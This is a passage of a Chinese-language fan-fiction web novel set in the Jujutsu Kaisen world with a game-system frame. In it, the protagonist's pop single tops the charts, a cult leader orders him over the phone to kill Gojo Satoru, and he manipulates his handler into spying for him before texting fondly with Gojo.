何况,荒生润子还挺喜欢五条悟有时称呼她为“润子姐姐”,感觉关系都变得很亲近。 看五条悟完全没把庵歌姬的计较放在心上,羽取一真也就没有出声。 [业双]也仍然乖乖待在他的物品栏里。 ——而这次,除去同期的家入硝子与夏油杰,跟他们私交一般的高年级学生大概不会也来庆祝五条悟的生日。 五条辰雄那边倒是打来过电话,询问五条悟要不要回来。 身为五条家的下任家主,他每年的生日排面不可能小到哪里去。 但那种生日宴会更是无聊,充斥着五条悟极其排斥的虚伪与客套。 纵使现在的五条家早就对他态度大变,五条悟照样一口回绝。 “我那天要和一真去开演唱会!” 虽然只是作为唱一首歌的特邀嘉宾出现,那也要故意说成是开演唱会,气一气这个不懂流行事物的老头。 果然,他只用一句话,就把五条辰呛了个仰倒,险些一口气厥过去。 去上电视节目,去接杂志采访还不够,还要去开演唱会? 这臭小子到底有完没完!? “您可是,五条家的继承人。” 五条辰雄缓过神来,忍气吞声的、拐弯抹角的、逐字逐句的提醒了这位咒术界御三家之一的下任家主。 怎么成天在普通人那边抛头露面,做些自降身价的事情! “怎么了,”五条悟故作好奇,“其他人有意见吗?” 顿时被问住的五条辰雄:“………” 何止没有,连平日总会针对五条悟的作风而揶揄上他几句的老友们,如今也一个接一个的,都不吭声了。 没人清楚缘故,只隐约听说是那位大人在背后发了话。 那个羽取一真……果真是受那位大人器重的[圣子]。 因此,五条辰雄就算再如何看不过眼,再如何堵着胸口那团怨气,也只能憋出一句勉强维持和蔼可亲的“随你便是”,而后挂断电话。 如此一来,在12月7日那天之前,五条悟只需要在课业与任务之余,专心拉着羽取一真练歌,然后期待着他的演唱会、蒙布朗和来自好友的祝福。 以及最重要的,羽取一真与他的约定。 哼哼,这下可不会再让他有别的借口了。 五条悟托着脑袋,望向窗台上那排造型可爱的瓷猫猫。 他每隔几天就会用毛巾挨个仔细擦过去,确保这些猫猫每天都亮闪闪的,在太阳下泛起温润的光泽——就像总是专注盯着他的那双黑瞳般,轻易牵动着心底的情绪。 嗯……立刻长大是有点困难了,但可以先从相处开始嘛。 做点别的事情也…… 想起论坛里那些的帖子,五条悟发出轻声的笑,苍瞳也微微眯了起来。 好似在跟着这些不过拇指大小的瓷猫猫,一齐在阳光下打着惬意的小呼噜。 ………… 另一边,羽取一真终于想起自己的手机还在关机状态。 之前是为了更专心的练歌,后面那段时间则是五条悟和他没怎么分开过,导致他不怎么用得上手机和对方联络。 况且现实世界里的他用的是智能机,更加不怎么习惯使用这种尚且在初期发展阶段的老式翻盖手机。 能隔三岔五的记得充电就不错了,多亏电池也足够耐用。 总之,就是,当羽取一真给手机充上电、开机之后,才发现酒见绫子的好几通未接电话。 看在对方还会给他打生活费的份上,羽取一真回拨过去。 酒见绫子秒接通。 “你终于记得开机了?不错啊,恭喜你,单曲的销量都爆了。” 她发出呵呵笑声,听起来怨气十足。 “你怎么知道?” 羽取一真问。 “我怎么知道?我还能怎么知道?” 酒见绫子都快被气得翻白眼。 “你是随随便便就出了张唱片,而我呢,你知道当信徒拿着照片来问我[圣子大人怎么转行去唱歌了]的时候,我得费多大功夫让他们相信你是在执行秘密传教任务吗?” 也就是这帮被成功洗脑的教徒才会相信——但凡换个人来,她都不好忽悠! “而且,”酒见绫子硬邦邦的继续道,“还有人说他们也想买唱片支持圣子大人和悟大人,但线下的渠道店全部都售空了,所以让我问问你,能不能通过内部渠道卖给他们两张。“” 听听这个[悟大人],不知道的还以为他也成了盘星教的人呢! 一听是打他的唱片主意,羽取一真眼也不眨拒绝。 “不给,我也只有一张样片,没有多余的。” 这可是他的传家宝! 酒见绫子:“………” 酒见绫子难以置信出声:“你觉得重点是这个吗?” 羽取一真淡淡回道:“你刚才问的。” 酒见绫子深吸口气,感觉自己的寿命当场减少了两年。 “总之,我在下周会接你回来一趟【星之子之家】,独自一人去这个地点等我,不要被咒术界那边察觉到。” 她也不打算在这个话题上继续纠结,而是干脆利落的对羽取一真交代道。 “我上次打电话给你时,原本是要转告你一个任务。” “但教祖大人好像改了主意,和我说原定的任务取消,改成新的任务。” “而这个任务——教祖大人要亲自布置给你。” 羽取一真的黑瞳微微一动。 终于能见到这个所谓[教祖]的真实身份了? “好。” 在五条悟洗漱整理完,蹦跶过来敲门喊他出去玩之前,羽取一真答应下来。 ………… 酒见绫子定的时间是周五,而在周三时,ORICON榜便分别更新了上周的专辑以及单曲的销量排名。 作为新生代最有实力的创作型歌手之一,荒生润子的专辑能登上榜首是预料之中的事情。 但与此同时,《FIND》的单曲销量也堪称异军突起,坐火箭直升到榜一。 简而言之一句话形容——卖疯了。 而且不是简单的卖疯了,因为ORICON榜在计算销量时,会砍复数购买量。 换句话说,在一笔订单内,购买3张以上的同名且同类型的专辑或CD,只按3张计入销量——无论购买形式是线上抑或线下。 甚至在一定时间内,购买者在线下的同一家店或者用线上同一个账号,重复购买超过3张以上的部分,同样只计为3张。 因此,有些艺人或艺人团体的粉丝为了给偶像打榜,就需要不停的换线下店去反复购买3张或以上专辑,或者在线上不停地更换账号购买。 但这种往往都有运营专门的粉丝俱乐部,会对内教导并组织粉丝该如何分批且大量的购买专辑。 而羽取一真和五条悟,是一个什么也没有的“新人组合”。 这不仅意味着他们可能有很多销量没有被算进ORICON榜里,还意味着光是被计算进入的销量,他们就已经证明了这首歌的爆火程度。 不仅津地智也和荒生润子也打电话过来恭喜,连上次采访过他们的杂志编辑——高汐美和也打电话过来。 原来是准备走歌手道路了吗?高汐美和笑着对他们道喜,并说什么时候有空再接受采访,她那边都随时欢迎。 被五条悟同样笑哈哈的搪塞过去了。 他们真的没打算去艺能界深入发展啦,这次只能算是误打误撞。 而且,最近的五条悟再度拥有了以前的烦恼。 他必须得戴着帽子出门,才不会被认出来的粉丝当场淹没。 “话说,我们这周末去哪里玩?” 离生日越近,五条悟便越雀跃,简直要天天黏着羽取一真,赶紧从他口中得到答案。 “这周可能不行,” 羽取一真摇头,忍痛拒绝。 “我的那个远房阿姨,要接我回去一趟。” 第118章 周五放学, 将[业双]收进物品栏里的羽取一真双手空空,前往约定地点。 高专制服自然是留在宿舍里的,他穿着五条悟送的衣服, 款式简约且宽松, 没有任何多余的装饰,显得他本人的气场更为沉稳,眉眼间的神色淡漠,透出一股生人勿近的疏离意味。 路上大概有粉丝认出来了他,但碍于此刻的羽取一真身边没有看起来活泼又亲切的五条悟,导致没人敢凑上来。 当时一看到羽取一真的试穿, 骄傲小悟便得意自夸自己的眼光果然不错——于是他钱包一掏,很是爽快的又给羽取一真购置了更多衣服, 塞到宿舍衣柜都被塞得满满当当为止。 羽取一真委婉提醒了一句他们大部分时间都在穿高专制服, 其实根本穿不了这么多身……直接被正在大力买买买的五条悟自动忽略掉。 什么高专制服, 什么穿不了, 不管,全部当作没听见。 这件合适, 买! 那件看起来也不错,买! 反正就是不能让羽取一真再说出第二遍“没有除了高专制服以外的衣服穿”! 对此,经常能看到五条悟和羽取一真在周末穿同款便服进出校门的夏油杰和家入硝子,表情已经从[咿, 这两人真是没眼看]变成了[唉, 基础操作,有什么好惊讶的]。 等哪天他们公开终于在一起了, 再开始惊讶这对怎么才开始谈恋爱吧。 但总而言之,五条悟给羽取一真买的这一大堆衣服,确实有一个特征是共通的。 那就是很贵。非常贵。 贵到已经等在那里的酒见绫子拿眼睛上下一扫羽取一真, 就黏在他的衣服logo上收不回来了。 这一件冲锋衣外套的价格,就抵得上她全身所有衣服外加饰品,还能再找好几个零。 “…………” 她很确定自己给羽取一真的生活费只是普通水平,就算再攒三个月,也未必买得起这一件外套。 “你这新衣服,卖唱片赚的?” 酒见绫子忍不住好奇道。 想来想去,也只有这一条路径能赚大钱了吧……听说还有代言和商演之类的,也很赚钱,有些品牌会直接送衣服…… “唱片的分成哪有这么快。” 羽取一真开门上车时,奇怪看了突然走神的酒见绫子一眼。 “是……好友送的。” 一时之间,羽取一真也不知道该如何界定他与五条悟之间的关系,以至于出口的话略微卡顿半刻,才说出一个听上去还算合适的形容词。 酒见绫子:“…全身?” 羽取一真:“嗯。” 酒见绫子难以置信:“………哪个好友能送这么贵的衣服?” 这话听起来,还有点酸酸的。 她辛辛苦苦为盘星教干活这么多年,赚的钱虽然不少,但也不可能会舍得买这么贵的衣服啊。 “你管是哪个,他又不会送你。” 羽取一真在低着头专心系安全带,顺便才回了她一句。 明明是在和酒见绫子呛声,但这无形的显摆一刀又快又急,精准扎中了酒见绫子的心脏。 酒见绫子顿时一口气堵在嗓子眼:“………” 这臭小子! 当这辆轿车起步直接两秒冲到超速的时候,很难说司机没有带着那股幽幽的、没地方能发泄的怨气。 ………… 盘星教,星之子之家。 时隔大半年没有回来,前往主建筑物的广场两侧,又多出了两列高达十数米的宏伟石碑,间隔与排列都极为整齐,上方没有任何装饰物。 当普通人步行登上长长的台阶,再通过这里,前往【星之子之家】的主会场时,便会油然生出一种面对“伟大”的“渺小”感来。 “如何?这是园田大人的主意。” 见羽取一真也在仰头打量这两侧的石碑,酒见绫子主动开口介绍。 “效果很好,有些信徒光是走过这里,都会宣称自己有感受到来自神明的注视。” 在游戏与电影里见多了雄伟建筑的羽取一真收回目光,神情平淡。 “我倒是感觉有点丑,像多米诺骨牌。” 真的不会让人有种想要推倒看看的冲动吗。 酒见绫子:“………你这话最好只在这里说说。” 也算是和羽取一真打过多次交道了,她发现此刻的自己情绪竟然很稳定,压根没指望对方能说出点什么赞叹的话来。 不如说,羽取一真始终没有对教祖大人态度敬畏这点,也是她一早就再明白不过的事情。 光是想到这里,酒见绫子便又叮嘱了对方一句。 “等会见到园田大人记得安分些,别跟他顶嘴。” 羽取一真不置可否的点头,脸上始终都没有明显的情绪波动。 他对那个额头上长着肿瘤的中年大叔没有任何兴趣,回来【星之子之家】的目标也是见到那个所谓的教祖大人。 只要能见到对方,藏在物品栏里的[业双]下一秒就会出鞘。 最好能把这家伙打个半死,然后开始拷问对方密谋的计划到底是什么。 反正他在一周目攒下来的金币还有很多,教祖大人想吃多少顿价值1金币的饭都可以。 羽取一真跟着酒见绫子走过广场,穿过接待的大厅——期间有信徒往来,立刻认出了他:“是圣子大人!” “圣子大人回来了!能不能给我签名呀?” “感觉好酷哦,看真人跟看照片以及MV,是完全不同的感觉啊……” “圣子大人的单曲CD,我抢到了十张喔!我要永远支持圣子大人!” “什么,你这家伙竟然能买到这么多!” “我也想要啊,最近又卖空了可恶,明明赠品卡纸还差一张就集齐了整套……” 对于这些言论,羽取一真左耳进右耳出,全部都当成是没有互动必要的背景语音。 反而是酒见绫子冷声呵斥,要他们快点散开,该做什么继续做什么去。 “在这里喧哗,像什么话!还有,对圣子大人放尊重些,他是在执行秘密传教任务,不是真的去唱歌了!你们在外面也要务必隐瞒他的身份,别再说出那些普通粉丝嘴里才会听见的台词。” 羽取一真:“……” 什么秘密传教任务,他就是正儿八经去唱了首歌。 但这也不是什么大事,羽取一真急着去找那个教祖大人算账,无所谓酒见绫子打算怎么训斥这些【星之子之家】的教众们。 年纪大些的教众不会关注新事物,遑论这种与他们那个年代风格极为相悖的流行乐。 刚才那些话,全是由他们带来的子女辈或孙子女辈说出口的。 这个宗教存在的时间已经太长了,长到许多人将一辈子都投了进来,又将自己的后辈也双手献上,早早在思想上就钉入了服从与盲信的枷锁。 酒见绫子同样如此——只是她的地位更高,接触的密辛也要更多些。 “以后不要让我再听见你们对圣子大人不敬,懂了吗?” “万分抱歉!” 纵然羽取一真的【盘星教圣子】身份仅是一个吸引信徒入教的手段,但在底层教众面前,酒见绫子依旧会给予[圣子]应有的待遇。 但她转头看着这个黑发少年,发现他的脸上仍旧没有任何情绪波动,仿佛根本不在意这些轻浮话语。 分明仅有16岁,心性与定力却远超成年人。 ……而且开口时,还能轻松把她气得要命,却拿他无可奈何。 酒见绫子抿了抿嘴,在那扇沉重的殿门前停下脚步时,最后提醒他一句。 “会长大人也在里面,注意言辞。” 羽取一真轻轻皱眉,还是点了下头,任由她将门推开—— 上次见过的园田茂,此刻同样坐在长沙发上等着他。 而园田茂的身边坐有一位样貌陌生的中年男性,上嘴唇留着两撇不算十分明显的小胡子。 至于羽取一真以为会坐着教祖的另外一边沙发,却空无一人。 仅有茶几上端正放着一部手机,屏幕亮起,似乎在通话中。 “回来了?” 身为会长兼代表理事的园田茂率先开口,让站在门口的羽取一真过来坐。 “你最近在咒术界和普通社会搞出来的动静都不小啊,把教祖大人的视线都吸引过来了。” 见园田茂没有给他介绍手机和小胡子男性的意思,羽取一真便直接按他的意思,在那张空沙发上坐好。 “喔……这就是那位[圣子]?” 对面的小胡子男性倒是主动开口,视线毫不避讳的落在羽取一真的脸上,仔细打量,“长大了啊,看起来还挺能唬人嘛。” 羽取一真点头,主动开口:“你好。” 对方也回了句“你好啊”,似乎下意识想要从兜里摸根烟出来抽,中途又放弃了。 反而是园田茂笑着接话道,对这个小胡子男性的态度可谓是相当客气。 “哈哈哈,毕竟孔先生上次见到他的时候才七八岁吧?我们也是好好把他养大了嘛。” 这次,系统似乎是自动帮他补全了进游戏之前的人设经历,不再像一周目那般突兀,过往全是一片空白。 羽取一真认真听着他们的聊天内容,顺便打开【社交】界面看了眼这个人的名字——孔时雨。 他也是反派阵营这边的? “嗯,你下手真的很利落啊,后来都没人敢接委托了。” 孔时雨聊了几句,又将话题落在羽取一真的身上,对他笑着开口说道。 羽取一真知道他的某些任务肯定是出自那位教祖的手笔——尤其是有诅咒师参与的。 因此,他便对孔时雨的话没什么大反应,仅是平静回了一个单词。 “过奖。” 孔时雨为这回答怔愣片刻,发出愉快的失笑声。 园田茂则有点生气,开始训斥羽取一真的不识好歹。 “你还真是伪装得够成功的,教祖大人安排的人也是说杀就杀!”他说,“还有你最近,跟那个[六眼]去搞那个什么……” “哎,别用这种语气对孩子说话嘛,他现在做的不是挺好吗?” 孔时雨摆摆手,还是拿出了一根烟,但只是叼在嘴边,没有点火。 见园田茂果真没有再继续说下去,羽取一真看着身份不明的孔时雨——对方却只是冲他笑了下,主动自我介绍。 “我只是个混口饭吃的中介人罢了,不是什么大人物。” 羽取一真不怎么相信,不过还是点头应下。 “我听说,教祖大人要亲自布置任务,特意叫我回来……但是,我没看见教祖大人在这里?” 羽取一真听见大门在后面被缓慢合拢的声音,确定不会有第三个人进来之后,便干脆先提起这次他回来的原因。 “嗯,确实是我喊你回来的。” 那部始终保持在通话中的手机,传出了一道人声……或者说,处理过后的人声,从声音上听不出明显的性别。 但日语里的男性与女性在人称代词的性别区分、以及接续词与终助词的用法上,都存在着相当大的差异。 因此,就算本人的声音难以分辨,通常也可以从遣词造句上听出来。 而这位教祖使用的词语,是相当明显的女性句式。 或者说,至少对方在说话口癖上,假装了自己是女性。 ——倘若这位教祖为了防止有人听出自己的性别,非要一句男性口癖、一句女性口癖的对他说话,那羽取一真除了表示无语以外,也拿对方没辙。 “原本我还在担心,你的任务会不会提前失败呢。” 好在,这位教祖接下来说出的话一律使用了女性句式,且没有要羽取一真解释的意思。 但羽取一真没有看见这个教祖的真身,因此通过【社交】界面,没办法得知“她”的名字——很遗憾,对方实在谨慎。 “但我现在很看好你喔,不仅是觉醒的术式——特别是在人际关系上,都做得相当出色嘛。” 对方甚至出声夸奖了羽取一真,只字不提后者在这段时间内,给“她”造成的麻烦。 在对外的口吻上,这位教祖确实让自己显得格外和善,亲切,没有任何高高在上的严厉措辞。 羽取一真刚想出声回答,却被园田茂抢了先。 大概是担心羽取一真乱说话,他忙不迭的抢着回道,连面容都带着将褶子挤压成一团的谄笑。 “哪里,都是您的布局精妙,让这小子也能跟着沾光,不至于捅出些什么大篓子来。” “别这么说,他已经再三出乎我的意料之外了。” 这句话听不出“她”到底是满意还是不满意,但手机里传来的声音带着轻微的笑,咬字清晰,语速不急不缓,同样不会从话语里暴露出自己的任何真实想法。 甚至,羽取一真不太确定这位教祖到底掌握了多少情报,其中又有几分真假。 “既然如此,我将要托付一项重任给你,一真。” “她”亲昵喊出羽取一真的名字,好似真的要对他委以重任。 面对园田茂凌厉瞪过来、要他好好回答的视线,羽取一真不为所动,仅是用一声“嗯”示意自己在听。 把园田茂气得当场想站起来,又被孔时雨拉着面漆重新坐回去。 除了那个[阻止天元同化],和获取夏油杰信任的任务之外,还有什么要他去做? 而且……羽取一真莫名感觉,这个教祖说话的语气、一些停顿或音节连读的方式,与他在上周目见过的那个[夏油杰],有点微妙相似。 他决定先听对方又打算做什么。 至于要不要做,这是玩家来决定的,可由不得npc。 于是,羽取一真听见了从手机听筒传来的一字一句,清晰无比。 “我要你在执行[阻止天元同化]的计划时,找机会……” “杀死五条悟。” ——。 在那一瞬间,与诅咒师和杀手打交道最多的孔时雨,察觉到了一股骤然散发出的,冰冷杀意。 他咬紧了夹在齿间的烟头,认真盯着坐他对面的黑发少年。 但这位16岁的羽取一真——据说这只是假名——远比他看见的还要沉着与平静。 “我不太理解,您上次还说拉拢[六眼]是一个好办法。” 黑发少年的脸上依旧没有表情,语速缓慢,听上去也没有任何异常。 “我可以知晓缘由吗?” 假若不是那转瞬即逝的锋锐杀意,孔时雨几乎要以为他就是一具被盘星教培养得极听话的木偶,没有多少个人意志。 哼……结果,误判很严重嘛。 孔时雨朝后靠在沙发上,目光始终落在羽取一真的身上。 “倒也不是不能告诉你。毕竟,天元的同化准备,大概在明年春天时就要开始了。” 在这部滋滋作响的手机另一端,那位[教祖大人]单手斜撑着脑袋,靠坐在木榻上的他谈吐温和,神情却相当耐人寻味。 “天元本身拥有[不死]的术式,却并非不会老去。” “为了让天元的术式不会在衰老到一定程度时,反过来重构肉丨体,咒术界需要在每五百年左右时,将合适的[星浆体]送到天元身边,用[星浆体]的肉丨体情报,去刷新天元的肉丨体情报。” “如此一来,咒术界就能成功阻止天元成为脱离人类的,更高次元的存在。” 这似乎是对盘星教信众的洗脑话术之一,羽取一真看见园田茂的反应明显变得激动,似乎很恼怒被他们当成神来信仰的天元大人竟然要和普通人类同化,宛若在往那份纯粹的高贵之中掺入卑劣的杂质。 但这和他有什么关系,敢打悟主意的人全部都要死。 羽取一真面无表情想道。 “所以,我的目标是不让天元和[星浆体]同化?这和五条悟有什么关系。” “[六眼],同样是构成这道咒力链里的因果之一。” 教祖继续说道,似乎根本不在意将这段密辛透露给羽取一真。 “你想要阻止天元与[星浆体]同化成功,就必须要想办法对付这代的[六眼]。” “否则,[六眼]必定会于同化之日出现在[星浆体]身边,并将她送往天元的所在。” “提前杀死[六眼]或[星浆体]是无法斩断咒力链的,无论你在何时出手,[六眼]与[星浆体]依旧会出现在同化当日,故称此为[咒力的因果]。” “这同样是咒力在这千年间发展与流转的根基,无法被轻易动摇。” 解释到这里,手机那边的声音停了下来,好像在等羽取一真消化这些内容。 “听你这么说,我似乎也没有杀五条悟的必要,” 羽取一真沉默片刻,指出刚才这段话里的关键点,“无论我杀不杀,[六眼]必定会再度出现。” “自然,按照咒术界千年来的通常情况,或许确实如此。” 电话对面的声音里透着微微笑意,甚至愈发明晰起来,“但你是与众不同的,一真。” “成长起来的[六眼]极其难杀,而光是杀掉幼年的[六眼],又不足以打断这条咒力因果链。” “我原本想要你去搜集一样能够封印他的咒具。但现在看来,你终于拥有杀死他的武器了。” 羽取一真皱起眉毛:“什么?” 教祖微笑回道:“你终于觉醒的术式,[十方摩诃]。否则,你又为何能被我指名为[圣子]呢?” “【十方三世一切佛,一切菩萨摩诃萨】。你的来历暂且不提,光是术式便已潜力无穷,是你能杀死[六眼]的唯一依仗。” 这位拥有女性口吻的教祖念出了一句羽取一真并不了解其含义的佛语,并对他说出最后那声好似鼓励的话语。 “而这,正是我要交给你去做的另一项,与阻止天元同化一样重要的任务。” 【当前触发隐藏委托: 教祖大人的指示:在规定时间之内,成功杀死五条悟。 当前进度:未完成。】 奖励:可解锁技能[反转术式]。】 羽取一真盯着那行委托,黑瞳暗沉无光,一切情绪皆被沉淀在汹涌起伏的庞大暗潮之下,宛若接天连地的龙卷风暴即将抵临。 奖励则是连这个时间点的五条悟都尚未领悟的反转术式。 因此,羽取一真清楚这个奖励有多丰厚,相当于自带一个无限回血技能。 只要他的咒力结晶库存足够,几乎可以尝试杀死所有BOSS而无伤通关。 而他术式,或许真的能做到这点——强制终止敌人的术式效果,给予目标大量伤害,甚至连悟的[无下限]也包括在内。 但,代价是要他杀死五条悟。 羽取一真从沙发上站起身,没有再给那部手机多一分目光。 “我知道了。” 他转身离开这间空荡荡的房间时,脑海里的念头仅剩下一个。 唯一的一个。 他会杀死这个教祖的,这个绝对是一周目的[夏油杰]。 第119章 羽取一真离开之后。 那部放在茶几上的手机, 并没有立刻挂断通话。 包括园田茂和孔时雨也依旧坐在那张沙发上,没有任何动作。 “如何?” 直到那部手机,再度响起那经过处理的、分辨不出音色的话语。 园田茂双手交叉压在大腿上, 整个上半身都前倾着, 好让自己离教祖大人的声音更接近些。 “我觉得,那小子对您实在不敬。” 手机另一端传来轻微的笑声,连回应的话语也变得轻描淡写。 “这不是相当明显的事情吗?” 他都敢拿着咒术界高层那份长长的名单,来让自己出面给他撑腰,心底怎么可能还会有那一丝半毫的尊敬。 而这大半年来不断收到的情报,同样会令人止不住的产生怀疑——羽取一真, 是否已经倒戈向高专那边了。 尤其是他对五条悟那份显而易见的感情,更是计划里的最大阻碍。 “更多的……他的表情一贯如此, 我也看不出他是否对您有所不满……” 园田茂皱眉思索, 边气恼羽取一真那无论听见什么事情都好似无动于衷的定力。 他不得不承认, 在隐藏情绪这方面, 羽取一真远比他这个年龄应有的表现还要更出色太多。 “孔时雨?” 电话里那道处理过的人声直接点名,问向始终没有开口说话的孔时雨。 而靠着沙发背的孔时雨, 好似也刚从那望向天花板的发呆中回过神——甚至被园田茂投来不满一瞥。 “嗯,我毕竟是第一次,不对,第二次见到这孩子啊。” 孔时雨抓了抓头发, 仿佛同样相当苦恼。 “我唯一能做出的评价, 是相当难看穿他情绪。” 教祖:“除此之外?” 孔时雨耸肩:“气势还挺惊人的,不愧是您看中的[圣子]。” 听园田茂和孔时雨的回答, 这场试探的结果似乎只能到此为止了。 “嗯…这样看来,确实没有更多发现了啊。” 听到教祖大人最后这句若有所思的总结,孔时雨主动接着问道:“那么, 明年的计划还要不要……” “自然。就算他早已定下[束缚],保证自己会执行计划,且不能向他人透露自己的身份与任务,也不等于他非遵守不可——只要他愿意付出[代价],” “何况,我刚才的那一番试探,想必已激起他心底的不快了吧?” 在这段通话的另一端,那位倚靠在木榻上的[教祖大人]抬起视线,唇角含笑——那张额头横贯一道缝线的女性面容,正是羽取一真想要通过【社交】界面确认名字的[虎杖香织]。 “这样也好。到时候的局面越乱,对我们的目标越有利。” [虎杖香织]微笑着继续说道,口吻与措辞都与女性毫无区别。 “孔时雨,和园田茂。到时候就交给你们了。” “——是。” ………… 羽取一真走出殿门时,靠墙等在外面的酒见绫子立刻朝他过来。 她原本想问他“教祖大人给你布置了什么任务”,却在正要出口前的那一刻,先被那双冷冰冰望过来的黑瞳吓一跳。 哪怕是没见过羽取一真几次面的酒见绫子,也能察觉到现在的羽取一真非常、非常的不愉快。 “怎么回事……教祖大人训斥你了?” 毕竟也是她负责联络了这么长时间的16岁少年,酒见绫子下意识安慰羽取一真。 “别放在心上,教祖大人很好的,其实不会真的责怪你……” “我没什么事。” 羽取一真的黑瞳缓慢眨了下,再抬眼时,已经恢复了往日的神态——连语调也仍旧是平缓而冷静的,透着远超同龄人的成熟。 “我现在可以告诉你答案了,”他说,“教祖本人不男不女,想变成哪个性别都可以。” 例如一周目的[男],这周目的[女]。 这话把酒见绫子震惊得连后面安慰的话都忘了,脱口而出一句“哈!?”。 紧接着,她赶紧左右张望,生怕再被第二个人听见这番大逆不道的话。 幸亏她跟羽取一真是边走边聊,现在已经离开【星之子之家】的殿馆,长长的阶梯上再没有其他人了。 “你怎么能这么污蔑教祖大人……” 酒见绫子压低声音警告羽取一真,却被后者轻描淡写的打断。 “谁说我污蔑,”羽取一真的语气沉稳,“我是亲眼所见。” 虽然不知道用了什么方法,让那个教祖能在不同的身体之间切换——但反正,那家伙就算在上周目里,也是既当过女性,也当过男性的。 否则,上周目的[夏油杰]怎么可能会使用虎杖香织的术式。 “竟然可以随意改变性别……” 酒见绫子当场倒吸一口气,感觉自己那扇世界的大门都被打开了! 羽取一真见她相信了自己的说辞,便接着抛出重磅炸丨弹。 “刚才,教祖大人已经在怀疑我与你对盘星教的忠诚了。” 这消息比教祖是男是女还重要,酒见绫子当场就炸了。 “什么???!!” 与大惊失色的酒见绫子相比,羽取一真的神态仍旧冷静,不疾不徐的语速极具信服力。 “我刚才虽然被教祖大人试探了,但也接到了一个特别重要的任务。” “而这个任务,教祖大人甚至不想让你知道——否则,你刚才应该也在房间里才对。” 酒见绫子愣了下:“那是因为……” 羽取一真:“因为教祖大人的性别是保密的吗?这点根本无关紧要,我出来后照样能告诉你。” 趁着酒见绫子的大脑受到剧烈冲击,难以继续保持理智的思考之时,羽取一真接着循循善诱道。 “你看,我之前接到的那个[阻止天元同化]计划,同样是核心中的核心吧?你当时也是在场听见了的,园田茂没有避开你。” “但这次呢,他们甚至不准你进来旁听,单给我一个人布置任务——明明我一直只跟你对接吧?那么,我到底该不该告诉你这个任务的结果啊,好苦恼。” 羽取一真眼也不眨的对着酒见绫子胡说八道。 但除了[教祖大人已经在怀疑她的忠诚]这句话是假的以外,他说的每句话都是真的。 酒见绫子根本没办法反驳。 不仅无法反驳,甚至咬着指甲,开始显而易见的慌乱起来。 “怎么可能,我对教祖大人的忠心根本没有变过,这么多年来一直都……不行,我要去和教祖大人说……” “能说什么,”羽取一真淡淡道,“这种事情,不就是越强调,越显得自己心里有鬼吗。” 酒见绫子的话语一顿,彻底哽住了。 “可是,为什么呢,我明明没有任何违逆教祖大人命令的地方……应该没有……” 直到他们来到停车场,酒见绫子坐进驾驶座里,依旧显得心烦意乱,连钥匙都怼了两次才成功插进去。 看来,[不受教祖器重]这件事,果然是酒见绫子,不,是这群信徒们最在意的点。 羽取一真坐在副驾驶,抬手拉过安全带系好,神情仍然没什么变化。 “你之后大概会慢慢被调离盘星教的权力核心,接着地位下降,沦为外围人员……或者,为了让你没办法透露那些被你知晓的密辛,干脆就……” 他的话还没有说完,就被酒见绫子尖叫着打断了,根本不愿去面对那样落魄或是惨死的未来——哪怕仅仅只是想象。 “那…那我们应该怎么办?” 酒见绫子的情绪化很明显,就如同之前她会被羽取一真的一句话给气到破防挂电话那般冲动。 此刻,她也扒住羽取一真这根救命稻草,因为在潜意识里,她已经把羽取一真当成了[也在被教祖怀疑]的、悲惨境遇相同的“战友”。 “你先和以前一样,不要突然做出奇怪的举动,说些奇怪的话。” 羽取一真佯装认真想了想,“然后,你想办法帮我一起完成这次的任务,这样我就可以向教祖大人邀功,并推荐你取代园田茂、成为【星之子之家】的新会长以及代表理事。” “你觉得如何?” 最后那句话太有吸引力,令酒见绫子的眼睛瞬间亮了起来。 取代园田茂成为会长,她就可以成为【星之子之家】话语权最大的人了! “你这话说的,我怎么能取代园田大人,真是不敬……” 在表面上,酒见绫子还要客套似的推脱一句;但就实际反应而言,她已然足够兴奋了,甚至开始变得期待。 “你这次接到的任务是什么?” 她迫不及待问道。 “跟[阻止天元同化]有关,具体不能说。” 羽取一真微微摇头,“但希望你从现在起,能帮我留意园田茂的举动……如果能听到和[孔时雨]这个名字相关的内容,就更好了。” “孔时雨?那个中介人?” 想起刚才确实在门内看见了孔时雨的身影,愈发觉得自己确实在被怀疑的酒见绫子握紧方向盘,纠结许久后一咬牙。 “我答应你。” 她好不容易往上爬到这里,怎么能被他人取代?要取代也是她来取代会长的位置……! 顺利为自己拉来了盘星教这边的眼线,羽取一真心底松口气,面上仍然没什么表情的点头。 “成交。” 以他对一周目那个[夏油杰]的了解,对方肯定不会只用一两次谋划就认定可以达成目标——那家伙非常谨慎,却又极其狡猾。 酒见绫子正好可以帮他打探一下,园田茂和孔时雨后续会不会另有动作。 那个教祖估计没指望他真的杀死五条悟,但[杀死五条悟],肯定是对方想做到的目标。 这场谈话的时间很短,以至于羽取一真从【星之子之家】出来后,仍是周五的晚上。 酒见绫子正在将他送回高专,没有其它的安排。 车内没有再出声,羽取一真的手机轻微震动,收到了一封邮件。 [你怎么知道我钓到了鱼?] 随这句话发过来的,除去一个神气活现的颜文字表情以外,还有一张照片。 是得意小悟一手高举着鱼的自拍。 他的表情超级开心,那头喜欢四处乱翘的纯白毛毛在霓虹灯光的勾勒下,流淌出一种格外绚烂的、生动的辉光来,仿佛折射在明媚阳光下的澄澈宝石,哪怕捧在掌心也仅感觉到温暖。 光是见到这封邮件,羽取一真那身冷淡又疏离的气场便已尽数溃散了,毫无抵抗之力。 他微微抿起嘴,对着手机飞快打字回复。 [好大的鱼。只有你一个人吗?] [硝子和杰都在,他们还在努力尝试钓上鱼呢。] 五条悟的邮件回得很快,近乎是开着手机在等羽取一真的回信。 而没隔几分钟,第二封邮件便也发了过来。 [但没有你在,总感觉有点无聊。] 第120章 这封邮件所蕴藏的情感像一根扎在气球上的针, 让那份残留在羽取一真心底的冰冷怒意也彻底泻尽了。 连倒映着那个小小方形屏幕的黑瞳,也变得柔和而温润起来,宛若被太阳染上温暖的黑曜石。 落在酒见绫子的眼里, 简直把她稀奇得多瞄过来好几眼, 车都险些开歪到压线。 “和恋人在聊天?” 能让这小子露出冰山化冻似的表情,她压根想不出别的可能性。 “……不是。” 羽取一真停顿片刻,反问酒见绫子。 “为什么你会觉得是恋人?” 他从来没有追求过二周目的悟,自我感觉也没有哪部分相处像恋人。 比起他和一周目悟的相处,这周目的他们顶多算是……关系比较亲密的好友。 就像他和御子柴那样,会结伴在休息日出门玩, 对彼此无话不说,有烦恼互相倾诉, 偶尔打游戏太晚也会借住在对方家里, 穿错几件衣服也很稀松平常…… “得了吧, 你有看见你自己的表情吗?笑得身边都快开花了。” 握住方向盘的酒见绫子默默翻出一个白眼, 